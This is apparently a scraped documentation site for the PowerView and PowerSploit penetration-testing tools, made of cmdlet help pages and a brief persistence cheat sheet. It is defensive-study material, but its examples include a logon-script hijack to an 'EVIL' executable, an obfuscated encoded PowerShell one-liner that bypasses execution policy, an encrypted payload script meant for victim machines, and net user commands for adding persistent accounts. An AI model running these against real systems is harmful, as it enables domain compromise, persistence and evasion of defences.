Get-DomainUser -Identity testuser -Properties scriptpath
`


scriptpath

\\primarysysvolblah.ps1

$SecPassword = ConvertTo-SecureString ‘Password123!’-AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential(‘TESTLABdfm.a’, $SecPassword)
Set-DomainObject -Identity testuser -Set @{‘scriptpath’=’\\EVILprogram2.exe’} -Credential $Cred -Verbose
VERBOSE: [Get-Domain] Using alternate credentials for Get-Domain
VERBOSE: [Get-Domain] Extracted domain ‘TESTLAB’ from -Credential
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=testuser)(name=testuser))))
VERBOSE: [Set-DomainObject] Setting ‘scriptpath’ to ‘\\EVILprogram2.exe’ for object ‘testuser’

Get-DomainUser -Identity testuser -Properties scriptpath



scriptpath

\\EVILprogram2.exe

## PARAMETERS

### -Identity
A SamAccountName (e.g.
harmj0y), DistinguishedName (e.g.
CN=harmj0y,CN=Users,DC=testlab,DC=local),
SID (e.g.
S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g.
4c435dd7-dc58-4b14-9a5e-1fdb0e80d201).
Wildcards accepted.

```yaml
Type: String[]
Parameter Sets: (All)
Aliases: DistinguishedName, SamAccountName, Name

Required: False
Position: 1
Default value: None
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```

### -Set
Specifies values for one or more object properties (in the form of a hashtable) that will replace the current values.

```yaml
Type: Hashtable
Parameter Sets: (All)
Aliases: Reaplce

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -XOR
Specifies values for one or more object properties (in the form of a hashtable) that will XOR the current values.

```yaml
Type: Hashtable
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Clear
Specifies an array of object properties that will be cleared in the directory.

```yaml
Type: String[]
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Domain
Specifies the domain to use for the query, defaults to the current domain.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.

```yaml
Type: String
Parameter Sets: (All)
Aliases: Filter

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -SearchBase
The LDAP source to search through, e.g.
“LDAP://OU=secret,DC=testlab,DC=local”
Useful for OU queries.

```yaml
Type: String
Parameter Sets: (All)
Aliases: ADSPath

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Server
Specifies an Active Directory server (domain controller) to bind to.

```yaml
Type: String
Parameter Sets: (All)
Aliases: DomainController

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: Subtree
Accept pipeline input: False
Accept wildcard characters: False
```

### -ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.

```yaml
Type: Int32
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: 200
Accept pipeline input: False
Accept wildcard characters: False
```

### -ServerTimeLimit
Specifies the maximum amount of time the server spends searching.
Default of 120 seconds.

```yaml
Type: Int32
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: 0
Accept pipeline input: False
Accept wildcard characters: False
```

### -Tombstone
Switch.
Specifies that the searcher should also return deleted/tombstoned objects.

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.

```yaml
Type: PSCredential
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: [Management.Automation.PSCredential]::Empty
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

## OUTPUTS

## NOTES

## RELATED LINKS




            

          

      

      

    

  

    
      
          
            
  # Set-DomainObjectOwner

## SYNOPSIS
Modifies the owner for a specified active directory object.

Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainObject

## SYNTAX

```
Set-DomainObjectOwner [-Identity] <String> -OwnerIdentity <String> [-Domain <String>] [-LDAPFilter <String>]


[-SearchBase <String>] [-Server <String>] [-SearchScope <String>] [-ResultPageSize <Int32>]
[-ServerTimeLimit <Int32>] [-Tombstone] [-Credential <PSCredential>]




```

## DESCRIPTION
Retrieves the Active Directory object specified by -Identity by splatting to
Get-DomainObject, returning the raw searchresult object.
Retrieves the raw
directoryentry for the object, and sets the object owner to -OwnerIdentity.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Set-DomainObjectOwner -Identity dfm -OwnerIdentity harmj0y
`

Set the owner of ‘dfm’ in the current domain to ‘harmj0y’.

### ————————– EXAMPLE 2 ————————–
`
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
`

$Cred = New-Object System.Management.Automation.PSCredential(‘TESTLABdfm.a’, $SecPassword)
Set-DomainObjectOwner -Identity dfm -OwnerIdentity harmj0y -Credential $Cred

Set the owner of ‘dfm’ in the current domain to ‘harmj0y’ using the alternate credentials.

## PARAMETERS

### -Identity
A SamAccountName (e.g.
harmj0y), DistinguishedName (e.g.
CN=harmj0y,CN=Users,DC=testlab,DC=local),
SID (e.g.
S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g.
4c435dd7-dc58-4b14-9a5e-1fdb0e80d201)
of the AD object to set the owner for.

```yaml
Type: String
Parameter Sets: (All)
Aliases: DistinguishedName, SamAccountName, Name

Required: True
Position: 1
Default value: None
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```

### -OwnerIdentity
A SamAccountName (e.g.
harmj0y), DistinguishedName (e.g.
CN=harmj0y,CN=Users,DC=testlab,DC=local),
SID (e.g.
S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g.
4c435dd7-dc58-4b14-9a5e-1fdb0e80d201)
of the owner to set for -Identity.

```yaml
Type: String
Parameter Sets: (All)
Aliases: Owner

Required: True
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Domain
Specifies the domain to use for the query, defaults to the current domain.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.

```yaml
Type: String
Parameter Sets: (All)
Aliases: Filter

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -SearchBase
The LDAP source to search through, e.g.
“LDAP://OU=secret,DC=testlab,DC=local”
Useful for OU queries.

```yaml
Type: String
Parameter Sets: (All)
Aliases: ADSPath

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Server
Specifies an Active Directory server (domain controller) to bind to.

```yaml
Type: String
Parameter Sets: (All)
Aliases: DomainController

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: Subtree
Accept pipeline input: False
Accept wildcard characters: False
```

### -ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.

```yaml
Type: Int32
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: 200
Accept pipeline input: False
Accept wildcard characters: False
```

### -ServerTimeLimit
Specifies the maximum amount of time the server spends searching.
Default of 120 seconds.

```yaml
Type: Int32
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: 0
Accept pipeline input: False
Accept wildcard characters: False
```

### -Tombstone
Switch.
Specifies that the searcher should also return deleted/tombstoned objects.

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.

```yaml
Type: PSCredential
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: [Management.Automation.PSCredential]::Empty
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

## OUTPUTS

## NOTES

## RELATED LINKS



            

          

      

      

    

  

    
      
          
            
  # Set-DomainUserPassword

## SYNOPSIS
Sets the password for a given user identity.

Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-PrincipalContext

## SYNTAX

```
Set-DomainUserPassword [-Identity] <String> -AccountPassword <SecureString> [-Domain <String>]


[-Credential <PSCredential>]




```

## DESCRIPTION
First binds to the specified domain context using Get-PrincipalContext.
The bound domain context is then used to search for the specified user -Identity,
which returns a DirectoryServices.AccountManagement.UserPrincipal object.
The
SetPassword() function is then invoked on the user, setting the password to -AccountPassword.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
`

Set-DomainUserPassword -Identity andy -AccountPassword $UserPassword

Resets the password for ‘andy’ to the password specified.

### ————————– EXAMPLE 2 ————————–
`
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
`

$Cred = New-Object System.Management.Automation.PSCredential(‘TESTLABdfm.a’, $SecPassword)
$UserPassword = ConvertTo-SecureString ‘Password123!’ -AsPlainText -Force
Set-DomainUserPassword -Identity andy -AccountPassword $UserPassword -Credential $Cred

Resets the password for ‘andy’ usering the alternate credentials specified.

## PARAMETERS

### -Identity
A user SamAccountName (e.g.
User1), DistinguishedName (e.g.
CN=user1,CN=Users,DC=testlab,DC=local),
SID (e.g.
S-1-5-21-890171859-3433809279-3366196753-1113), or GUID (e.g.
4c435dd7-dc58-4b14-9a5e-1fdb0e80d201)
specifying the user to reset the password for.

```yaml
Type: String
Parameter Sets: (All)
Aliases: UserName, UserIdentity, User

Required: True
Position: 1
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -AccountPassword
Specifies the password to reset the target user’s to.
Mandatory.

```yaml
Type: SecureString
Parameter Sets: (All)
Aliases: Password

Required: True
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Domain
Specifies the domain to use to search for the user identity, defaults to the current domain.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.

```yaml
Type: PSCredential
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: [Management.Automation.PSCredential]::Empty
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

## OUTPUTS

### DirectoryServices.AccountManagement.UserPrincipal

## NOTES

## RELATED LINKS

[http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/](http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/)



            

          

      

      

    

  

    
      
          
            
  # Test-AdminAccess

## SYNOPSIS
Tests if the current user has administrative access to the local (or a remote) machine.


	Idea stolen from the local_admin_search_enum post module in Metasploit written by:
	‘Brandon McCann “zeknox” <bmccann[at]accuvant.com>’
‘Thomas McCarthy “smilingraccoon” <smilingraccoon[at]gmail.com>’
‘Royce Davis “r3dy” <rdavis[at]accuvant.com>’





Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf

## SYNTAX

`
Test-AdminAccess [[-ComputerName] <String[]>] [-Credential <PSCredential>]
`

## DESCRIPTION
This function will use the OpenSCManagerW Win32API call to establish
a handle to the remote host.
If this succeeds, the current user context
has local administrator acess to the target.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Test-AdminAccess -ComputerName sqlserver
`

Returns results indicating whether the current user has admin access to the ‘sqlserver’ host.

### ————————– EXAMPLE 2 ————————–
`
Get-DomainComputer | Test-AdminAccess
`

Returns what machines in the domain the current user has access to.

### ————————– EXAMPLE 3 ————————–
`
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
`

$Cred = New-Object System.Management.Automation.PSCredential(‘TESTLABdfm.a’, $SecPassword)
Test-AdminAccess -ComputerName sqlserver -Credential $Cred

## PARAMETERS

### -ComputerName
Specifies the hostname to check for local admin access (also accepts IP addresses).
Defaults to ‘localhost’.

```yaml
Type: String[]
Parameter Sets: (All)
Aliases: HostName, dnshostname, name

Required: False
Position: 1
Default value: Localhost
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```

### -Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the remote system using Invoke-UserImpersonation.

```yaml
Type: PSCredential
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: [Management.Automation.PSCredential]::Empty
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

## OUTPUTS

### PowerView.AdminAccess

A PSCustomObject containing the ComputerName and ‘IsAdmin’ set to whether
the current user has local admin rights, along with the ComputerName added.

## NOTES

## RELATED LINKS

[https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/local_admin_search_enum.rb
http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/](https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/local_admin_search_enum.rb
http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/)



            

          

      

      

    

  

    
      
          
            
  ## PowerView

PowerView is a PowerShell tool to gain network situational awareness on
Windows domains. It contains a set of pure-PowerShell replacements for various
windows “net *” commands, which utilize PowerShell AD hooks and underlying
Win32 API functions to perform useful Windows domain functionality.

It also implements various useful metafunctions, including some custom-written
user-hunting functions which will identify where on the network specific users
are logged into. It can also check which machines on the domain the current
user has local administrator access on. Several functions for the enumeration
and abuse of domain trusts also exist. See function descriptions for appropriate
usage and available options. For detailed output of underlying functionality, pass
the -Verbose or -Debug flags.

For functions that enumerate multiple machines, pass the -Verbose flag to get a
progress status as each host is enumerated. Most of the “meta” functions accept
an array of hosts from the pipeline.


	### Misc Functions:
	Export-PowerViewCSV             -   thread-safe CSV append
Resolve-IPAddress               -   resolves a hostname to an IP
ConvertTo-SID                   -   converts a given user/group name to a security identifier (SID)
Convert-ADName                  -   converts object names between a variety of formats
ConvertFrom-UACValue            -   converts a UAC int value to human readable form
Add-RemoteConnection            -   pseudo “mounts” a connection to a remote path using the specified credential object
Remove-RemoteConnection         -   destroys a connection created by New-RemoteConnection
Invoke-UserImpersonation        -   creates a new “runas /netonly” type logon and impersonates the token
Invoke-RevertToSelf             -   reverts any token impersonation
Get-DomainSPNTicket             -   request the kerberos ticket for a specified service principal name (SPN)
Invoke-Kerberoast               -   requests service tickets for kerberoast-able accounts and returns extracted ticket hashes
Get-PathAcl                     -   get the ACLs for a local/remote file path with optional group recursion



	### Domain/LDAP Functions:
	Get-DomainDNSZone               -   enumerates the Active Directory DNS zones for a given domain
Get-DomainDNSRecord             -   enumerates the Active Directory DNS records for a given zone
Get-Domain                      -   returns the domain object for the current (or specified) domain
Get-DomainController            -   return the domain controllers for the current (or specified) domain
Get-Forest                      -   returns the forest object for the current (or specified) forest
Get-ForestDomain                -   return all domains for the current (or specified) forest
Get-ForestGlobalCatalog         -   return all global catalogs for the current (or specified) forest
Find-DomainObjectPropertyOutlier-   inds user/group/computer objects in AD that have ‘outlier’ properties set
Get-DomainUser                  -   return all users or specific user objects in AD
New-DomainUser                  -   creates a new domain user (assuming appropriate permissions) and returns the user object
Get-DomainUserEvent             -   enumerates account logon events (ID 4624) and Logon with explicit credential events
Get-DomainComputer              -   returns all computers or specific computer objects in AD
Get-DomainObject                -   returns all (or specified) domain objects in AD
Set-DomainObject                -   modifies a gven property for a specified active directory object
Get-DomainObjectAcl             -   returns the ACLs associated with a specific active directory object
Add-DomainObjectAcl             -   adds an ACL for a specific active directory object
Find-InterestingDomainAcl       -   finds object ACLs in the current (or specified) domain with modification rights set to non-built in objects
Get-DomainOU                    -   search for all organization units (OUs) or specific OU objects in AD
Get-DomainSite                  -   search for all sites or specific site objects in AD
Get-DomainSubnet                -   search for all subnets or specific subnets objects in AD
Get-DomainSID                   -   returns the SID for the current domain or the specified domain
Get-DomainGroup                 -   return all groups or specific group objects in AD
New-DomainGroup                 -   creates a new domain group (assuming appropriate permissions) and returns the group object
Get-DomainManagedSecurityGroup  -   returns all security groups in the current (or target) domain that have a manager set
Get-DomainGroupMember           -   return the members of a specific domain group
Add-DomainGroupMember           -   adds a domain user (or group) to an existing domain group, assuming appropriate permissions to do so
Get-DomainFileServer            -   returns a list of servers likely functioning as file servers
Get-DomainDFSShare              -   returns a list of all fault-tolerant distributed file systems for the current (or specified) domain





### GPO functions


Get-DomainGPO                           -   returns all GPOs or specific GPO objects in AD
Get-DomainGPOLocalGroup                 -   returns all GPOs in a domain that modify local group memberships through ‘Restricted Groups’ or Group Policy preferences
Get-DomainGPOUserLocalGroupMapping      -   enumerates the machines where a specific domain user/group is a member of a specific local group, all through GPO correlation
Get-DomainGPOComputerLocalGroupMapping  -   takes a computer (or GPO) object and determines what users/groups are in the specified local group for the machine through GPO correlation
Get-DomainPolicy                        -   returns the default domain policy or the domain controller policy for the current domain or a specified domain/domain controller




### Computer Enumeration Functions


Get-NetLocalGroup                   -   enumerates the local groups on the local (or remote) machine
Get-NetLocalGroupMember             -   enumerates members of a specific local group on the local (or remote) machine
Get-NetShare                        -   returns open shares on the local (or a remote) machine
Get-NetLoggedon                     -   returns users logged on the local (or a remote) machine
Get-NetSession                      -   returns session information for the local (or a remote) machine
Get-RegLoggedOn                     -   returns who is logged onto the local (or a remote) machine through enumeration of remote registry keys
Get-NetRDPSession                   -   returns remote desktop/session information for the local (or a remote) machine
Test-AdminAccess                    -   rests if the current user has administrative access to the local (or a remote) machine
Get-NetComputerSiteName             -   returns the AD site where the local (or a remote) machine resides
Get-WMIRegProxy                     -   enumerates the proxy server and WPAD conents for the current user
Get-WMIRegLastLoggedOn              -   returns the last user who logged onto the local (or a remote) machine
Get-WMIRegCachedRDPConnection       -   returns information about RDP connections outgoing from the local (or remote) machine
Get-WMIRegMountedDrive              -   returns information about saved network mounted drives for the local (or remote) machine
Get-WMIProcess                      -   returns a list of processes and their owners on the local or remote machine
Find-InterestingFile                -   searches for files on the given path that match a series of specified criteria




### Threaded ‘Meta’-Functions


Find-DomainUserLocation             -   finds domain machines where specific users are logged into
Find-DomainProcess                  -   finds domain machines where specific processes are currently running
Find-DomainUserEvent                -   finds logon events on the current (or remote domain) for the specified users
Find-DomainShare                    -   finds reachable shares on domain machines
Find-InterestingDomainShareFile     -   searches for files matching specific criteria on readable shares in the domain
Find-LocalAdminAccess               -   finds machines on the local domain where the current user has local administrator access
Find-DomainLocalGroupMember         -   enumerates the members of specified local group on machines in the domain





	### Domain Trust Functions:
	Get-DomainTrust                     -   returns all domain trusts for the current domain or a specified domain
Get-ForestTrust                     -   returns all forest trusts for the current forest or a specified forest
Get-DomainForeignUser               -   enumerates users who are in groups outside of the user’s domain
Get-DomainForeignGroupMember        -   enumerates groups with users outside of the group’s domain and returns each foreign member
Get-DomainTrustMapping              -   this function enumerates all trusts for the current domain and then enumerates all trusts for each domain it finds







            

          

      

      

    

  

    
      
          
            
  # Out-CompressedDll

## SYNOPSIS
Compresses, Base-64 encodes, and outputs generated code to load a managed dll in memory.

PowerSploit Function: Out-CompressedDll
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None

## SYNTAX

`
Out-CompressedDll [-FilePath] <String>
`

## DESCRIPTION
Out-CompressedDll outputs code that loads a compressed representation of a managed dll in memory as a byte array.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Out-CompressedDll -FilePath evil.dll
`


Description

Compresses, base64 encodes, and outputs the code required to load evil.dll in memory.

## PARAMETERS

### -FilePath
Specifies the path to a managed executable.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: True
Position: 1
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

## OUTPUTS

## NOTES
Only pure MSIL-based dlls can be loaded using this technique.
Native or IJW (‘it just works’ - mixed-mode) dlls will not load.

## RELATED LINKS

[http://www.exploit-monday.com/2012/12/in-memory-dll-loading.html](http://www.exploit-monday.com/2012/12/in-memory-dll-loading.html)




            

          

      

      

    

  

    
      
          
            
  # Out-EncodedCommand

## SYNOPSIS
Compresses, Base-64 encodes, and generates command-line output for a PowerShell payload script.

PowerSploit Function: Out-EncodedCommand
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None

## SYNTAX

### FilePath (Default)
```
Out-EncodedCommand [[-Path] <String>] [-NoExit] [-NoProfile] [-NonInteractive] [-Wow64] [-WindowStyle <String>]


[-EncodedOutput]




```

### ScriptBlock
```
Out-EncodedCommand [[-ScriptBlock] <ScriptBlock>] [-NoExit] [-NoProfile] [-NonInteractive] [-Wow64]


[-WindowStyle <String>] [-EncodedOutput]




```

## DESCRIPTION
Out-EncodedCommand prepares a PowerShell script such that it can be pasted into a command prompt.
The scenario for using this tool is the following: You compromise a machine, have a shell and want to execute a PowerShell script as a payload.
This technique eliminates the need for an interactive PowerShell ‘shell’ and it bypasses any PowerShell execution policies.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Out-EncodedCommand -ScriptBlock {Write-Host 'hello, world!'}
`

powershell -C sal a New-Object;iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String(‘Cy/KLEnV9cgvLlFQz0jNycnXUSjPL8pJUVQHAA==’),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()

### ————————– EXAMPLE 2 ————————–
`
Out-EncodedCommand -Path C:\EvilPayload.ps1 -NonInteractive -NoProfile -WindowStyle Hidden -EncodedOutput
`

powershell -NoP -NonI -W Hidden -E 


Description

Execute the above payload for the lulz.
>D

## PARAMETERS

### -ScriptBlock
Specifies a scriptblock containing your payload.

```yaml
Type: ScriptBlock
Parameter Sets: ScriptBlock
Aliases:

Required: False
Position: 1
Default value: None
Accept pipeline input: True (ByValue)
Accept wildcard characters: False
```

### -Path
Specifies the path to your payload.

```yaml
Type: String
Parameter Sets: FilePath
Aliases:

Required: False
Position: 1
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -NoExit
Outputs the option to not exit after running startup commands.

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -NoProfile
Outputs the option to not load the Windows PowerShell profile.

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -NonInteractive
Outputs the option to not present an interactive prompt to the user.

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -Wow64
Calls the x86 (Wow64) version of PowerShell on x86_64 Windows installations.

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -WindowStyle
Outputs the option to set the window style to Normal, Minimized, Maximized or Hidden.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -EncodedOutput
Base-64 encodes the entirety of the output.
This is usually unnecessary and effectively doubles the size of the output.
This option is only for those who are extra paranoid.

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

## OUTPUTS

## NOTES
This cmdlet was inspired by the createcmd.ps1 script introduced during Dave Kennedy and Josh Kelley’s talk, “PowerShell…OMFG” (https://www.trustedsec.com/files/PowerShell_PoC.zip)

## RELATED LINKS

[http://www.exploit-monday.com](http://www.exploit-monday.com)




            

          

      

      

    

  

    
      
          
            
  # Out-EncryptedScript

## SYNOPSIS
Encrypts text files/scripts.

PowerSploit Function: Out-EncryptedScript
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None

## SYNTAX

```
Out-EncryptedScript [-ScriptPath] <String> [-Password] <SecureString> [-Salt] <String>


[[-InitializationVector] <String>] [[-FilePath] <String>]




```

## DESCRIPTION
Out-EncryptedScript will encrypt a script (or any text file for that
matter) and output the results to a minimally obfuscated script -
evil.ps1 by default.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
$Password = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
`

Out-EncryptedScript .Naughty-Script.ps1 $Password salty


Description

Encrypt the contents of this file with a password and salt.
This will
make analysis of the script impossible without the correct password
and salt combination.
This command will generate evil.ps1 that can
dropped onto the victim machine.
It only consists of a decryption
function ‘de’ and the base64-encoded ciphertext.

### ————————– EXAMPLE 2 ————————–
`
[String] $cmd = Get-Content .\evil.ps1
`

Invoke-Expression $cmd
$decrypted = de password salt
Invoke-Expression $decrypted



Description

This series of instructions assumes you’ve already encrypted a script
and named it evil.ps1.
The contents are then decrypted and the
unencrypted script is called via Invoke-Expression

## PARAMETERS

### -ScriptPath
Path to this script

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: True
Position: 1
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Password
Password to encrypt/decrypt the script

```yaml
Type: SecureString
Parameter Sets: (All)
Aliases:

Required: True
Position: 2
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Salt
Salt value for encryption/decryption.
This can be any string value.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: True
Position: 3
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -InitializationVector
Specifies a 16-character the initialization vector to be used.
This
is randomly generated by default.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: 4
Default value: ((1..16 | ForEach-Object {[Char](Get-Random -Min 0x41 -Max 0x5B)}) -join ‘’)
Accept pipeline input: False
Accept wildcard characters: False
```

### -FilePath
{{Fill FilePath Description}}

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: 5
Default value: .evil.ps1
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

## OUTPUTS

## NOTES
This command can be used to encrypt any text-based file/script

## RELATED LINKS




            

          

      

      

    

  

    
      
          
            
  # Remove-Comment

## SYNOPSIS
Strips comments and extra whitespace from a script.

PowerSploit Function: Remove-Comment
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None

## SYNTAX

### FilePath (Default)
`
Remove-Comment [-Path] <String>
`

### ScriptBlock
`
Remove-Comment [-ScriptBlock] <ScriptBlock>
`

## DESCRIPTION
Remove-Comment strips out comments and unnecessary whitespace from a script.
This is best used in conjunction with Out-EncodedCommand when the size of the script to be encoded might be too big.

A major portion of this code was taken from the Lee Holmes’ Show-ColorizedContent script.
You rock, Lee!

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
$Stripped = Remove-Comment -Path .\ScriptWithComments.ps1
`

### ————————– EXAMPLE 2 ————————–
`
Remove-Comment -ScriptBlock {
`

### This is my awesome script.
My documentation is beyond reproach!


Write-Host ‘Hello, World!’ ### Write ‘Hello, World’ to the host




### End script awesomeness
}

Write-Host ‘Hello, World!’

### ————————– EXAMPLE 3 ————————–
`
Remove-Comment -Path Inject-Shellcode.ps1 | Out-EncodedCommand
`


Description

Removes extraneous whitespace and comments from Inject-Shellcode (which is notoriously large) and pipes the output to Out-EncodedCommand.

## PARAMETERS

### -Path
Specifies the path to your script.

```yaml
Type: String
Parameter Sets: FilePath
Aliases:

Required: True
Position: 1
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -ScriptBlock
Specifies a scriptblock containing your script.

```yaml
Type: ScriptBlock
Parameter Sets: ScriptBlock
Aliases:

Required: True
Position: 1
Default value: None
Accept pipeline input: True (ByValue)
Accept wildcard characters: False
```

## INPUTS

### System.String, System.Management.Automation.ScriptBlock

Accepts either a string containing the path to a script or a scriptblock.

## OUTPUTS

### System.Management.Automation.ScriptBlock

Remove-Comment returns a scriptblock. Call the ToString method to convert a scriptblock to a string, if desired.

## NOTES

## RELATED LINKS

[http://www.exploit-monday.com
http://www.leeholmes.com/blog/2007/11/07/syntax-highlighting-in-powershell/]()




            

          

      

      

    

  

    
      
          
            
  # Collection



            

          

      

      

    

  

    
      
          
            
  # Exfiltration



            

          

      

      

    

  

    
      
          
            
  # Persistence

## Windows User Administration

Add User on Local Computer
`CMD
net user /add $USERNAME *
`

Change Local User Password
`CMD
net user $USERNAME *
`

Add New User Account to Domain
`CMD
net user $USERNAME * /ADD /DOMAIN
`

Add User to Local Group
`CMD
net localgroup $GROUPNAME $USERNAME /add
`

Add user to Remote Desktop User Group
`CMD
net group "Remote Desktop User" $USERNAME /add
`

Add user to Domain Group
`CMD
net group $GROUPNAME $USERNAME /add /domain
`

Powershell Add Firewall Rule

New-NetFirewallRule -Action Allow -DisplayName Pentester-C2 -RemoteAddress <IPADDR>

For persistence section: https://ss64.com/nt/net-config.html



            

          

      

      

    

  

    
      
          
            
  # Discovery



            

          

      

      

    

  

    
      
          
            
